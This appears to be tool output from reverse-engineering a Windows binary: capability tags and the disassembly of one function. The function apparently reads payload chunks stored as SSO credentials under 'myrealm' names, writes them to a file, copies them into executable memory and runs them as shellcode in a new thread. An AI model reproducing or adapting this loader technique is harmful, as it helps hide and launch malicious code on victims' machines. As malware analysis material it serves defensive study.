Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x1f0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov ecx, 0x2000000
call fcn.1400013e0
mov r14, rax
lea rcx, [rsp + 0x110]
xor eax, eax
xor edx, edx
mov r8d, 0xc8
xor edi, edi
xor ebx, ebx
mov qword [r14], rax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.myrealm]
lea r8d, [rdi + 0xa]
xor ecx, ecx
lea rdx, [rsp + 0x110]
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itow]
lea rcx, [rsp + 0x40]
mov r8, rax
sub rcx, 2
nop
cmp word [rcx + 2], bx
lea rcx, [rcx + 2]
jne 0x140001100
xor edx, edx
nop dword [rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140001110
lea rcx, [rsp + 0x40]
sub rcx, 2
nop dword [rax + rax]
cmp word [rcx + 2], bx
lea rcx, [rcx + 2]
jne 0x140001130
mov eax, dword [0x140003388]
lea rdx, [rsp + 0x30]
mov dword [rcx], eax
movzx eax, word [0x14000338c]
mov word [rcx + 4], ax
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIReadSSOCredW]
test eax, eax
jne 0x140001266
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
inc ebx
movsxd rax, edi
lea rdx, [r14 + rax*2]
nop
movzx eax, word [rcx]
lea rcx, [rcx + 2]
mov word [rdx], ax
lea rdx, [rdx + 2]
test ax, ax
jne 0x140001180
mov rcx, qword [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400011a0
xor edx, edx
lea rcx, [rsp + 0x110]
mov r8d, 0xc8
add edi, eax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rsp + 0x110]
mov ecx, ebx
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itow]
lea rcx, [rsp + 0x40]
mov r8, rax
sub rcx, 2
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x140001201
xor edx, edx
nop
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140001210
lea rax, [rsp + 0x40]
sub rax, 2
nop dword [rax + rax]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140001230
mov ecx, dword [0x140003388]
lea rdx, [rsp + 0x30]
mov dword [rax], ecx
movzx ecx, word [0x14000338c]
mov word [rax + 4], cx
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIReadSSOCredW]
test eax, eax
je 0x140001170
lea eax, [rdi + rdi]
mov qword [rsp + 0x38], 0
lea r8, [0x140003404]
mov dword [0x1400056c0], eax
lea rdx, str.._check_bin
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov r9, qword [rsp + 0x38]
test r9, r9
je 0x1400012fb
movsxd r8, dword [0x1400056c0]
mov edx, 1
mov rcx, r14
mov qword [rsp + 0x200], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov esi, dword [0x1400056c0]
mov r9d, 0x40
mov edx, esi
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001323
lea rcx, str.memory_is_not_enough__n
call fcn.140001010
mov rsi, qword [rsp + 0x200]
xor eax, eax
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.1400013c0
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
mov rdx, rbx
lea rcx, [0x1400033a8]
call fcn.140001010
test esi, esi
je 0x140001344
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140001379
lea rcx, str.Creating_thread_failed__n
jmp 0x1400012ee
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str.Successfully_Loaded__n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, esi
lea rcx, str.___Payload_size:__d_bytes_
call fcn.140001010
jmp 0x1400012f3